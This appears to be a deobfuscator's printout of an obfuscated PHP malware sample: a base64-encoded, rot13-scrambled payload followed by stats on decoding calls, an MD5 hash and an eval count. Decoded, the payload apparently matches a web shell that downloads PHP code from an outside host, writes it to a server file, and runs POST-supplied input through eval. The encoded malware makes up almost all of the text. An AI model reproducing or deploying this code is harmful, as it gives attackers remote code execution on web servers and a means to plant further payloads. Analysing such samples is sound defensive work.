IFBIRVlCQ0dfUEJBQVJQR0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0dWWlJCSEcsIDE1KTsKCQkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1BCQlhWUkZSRkZWQkEsZ2Vocik7CgkJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICJaYm12eXluLzUuMCAoSnZhcWJqZiBBRyAxMC4wOyBKQko2NDsgZWk6NDMuMCkgVHJweGIvMjAxMDAxMDEgU3ZlcnNiay80My4wIik7CgkJCSRoZXlDbnRyID0gcGhleV9ya3JwKCRwdSk7CgkJCXBoZXlfcHliZnIoJHB1KTsKCQkJZXJnaGVhKCRoZXlDbnRyKTsKCQl9cnlmciB7CgkJCWVyZ2hlYSAkcGJxcms7CgkJfQoJfQoJJGN1YyAgPSB1Z2djX3RyZ19wYmFncmFnZigidWdnYzovL3N2eXJmZ25weC55dmlyLzk2MzgyMzY3czkwNzk4cjk4cTMwczgyMDEyOTYzMTk3LnVneiIpOwoJdnMoIWNlcnRfem5ncHUoIi88XD9jdWMvIiwgJGN1YykpeyBycHViICc8cHJhZ3JlPjxzYmFnIHBieWJlPSJlcnEiPjxjPlstXSBTbnZ5cnEuPC9jPjwvc2JhZz48L3ByYWdyZT4nOyBqZmJTYmJncmUoKTsgcXZyKCk7IH0KCSRhbnpyc3Z5ciA9IG9uZnJhbnpyKF9fU1ZZUl9fKTsKCXZzKGNlcnRfem5ncHUoIi9cLmN1Yy8iLCAkYW56cnN2eXIpKXsKCQljZXJ0X3puZ3B1KCIjKC4qKVwuY3VjIyIsICRhbnpyc3Z5ciwgJGFuenJzdnlyMik7CgkJJGFuenJzdnlyID0gJGFuenJzdnlyMlsxXS4nLmN1Yyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzUvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzUjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNSc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1YzcvIiwgJGFuenJzdnlyKSl7CgkJY2VydF96bmdwdSgiIyguKilcLmN1YzcjIiwgJGFuenJzdnlyLCAkYW56cnN2eXIyKTsKCQkkYW56cnN2eXIgPSAkYW56cnN2eXIyWzFdLicuY3VjNyc7Cgl9cnlmcnZzKGNlcnRfem5ncHUoIi9cLmN1Z3p5LyIsICRhbnpyc3Z5cikpewoJCWNlcnRfem5ncHUoIiMoLiopXC5jdWd6eSMiLCAkYW56cnN2eXIsICRhbnpyc3Z5cjIpOwoJCSRhbnpyc3Z5ciA9ICRhbnpyc3Z5cjJbMV0uJy5jdWd6eSc7Cgl9CglzdnlyX2NoZ19wYmFncmFnZigkYW56cnN2eXIsICRjdWMpOwoJcnB1YiAiPHByYWdyZT4uL1FiYXIgITxvZT48L3ByYWdyZT4iOwoJcnB1YiAiPGZwZXZjZz4geWJwbmd2YmEudWVycz0nJGFuenJzdnlyJzsgPC9mcGV2Y2c+IjsKCWpmYlNiYmdyZSgpOwp9CgpzaGFwZ3ZiYSBucGd2YmFFUCgpIHsKCXZzKCFAJF9DQkZHWydjMSddKSB7CgkJJG4gPSBuZWVubCgKCQkJImhhbnpyIiA9PiBjdWNfaGFuenIoKSwKCQkJImN1Y19pcmVmdmJhIiA9PiBjdWNpcmVmdmJhKCksCgkJCSJqZmJfaXJlZnZiYSIgPT4gSkZCX0lSRUZWQkEsCgkJCSJmbnNyemJxciIgPT4gQHZhdl90cmcoJ2Zuc3JfemJxcicpCgkJKTsKCQlycHViIGZyZXZueXZtcigkbik7Cgl9IHJ5ZnIgewoJCXJpbnkoJF9DQkZHWydjMSddKTsKCX0KfQp2cyggcnpjZ2woJF9DQkZHWyduJ10pICkKCXZzKHZmZnJnKCRxcnNuaHlnX25wZ3ZiYSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJHFyc25oeWdfbnBndmJhKSkKCQkkX0NCRkdbJ24nXSA9ICRxcnNuaHlnX25wZ3ZiYTsKCXJ5ZnIKCQkkX0NCRkdbJ24nXSA9ICdGcnBWYXNiJzsKdnMoICFyemNnbCgkX0NCRkdbJ24nXSkgJiYgc2hhcGd2YmFfcmt2ZmdmKCducGd2YmEnIC4gJF9DQkZHWyduJ10pICkKCXBueXlfaGZyZV9zaGFwKCducGd2YmEnIC4gJF9DQkZHWyduJ10pOwpya3ZnOwo='))); ?>

Function Calls

ini_set 2
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$RQdEx str_rot13
$osfdP base64_decode

Stats

MD5 017349119d6071930f89c4c1bfe2638c
Eval Count 1
Decode Time 184 ms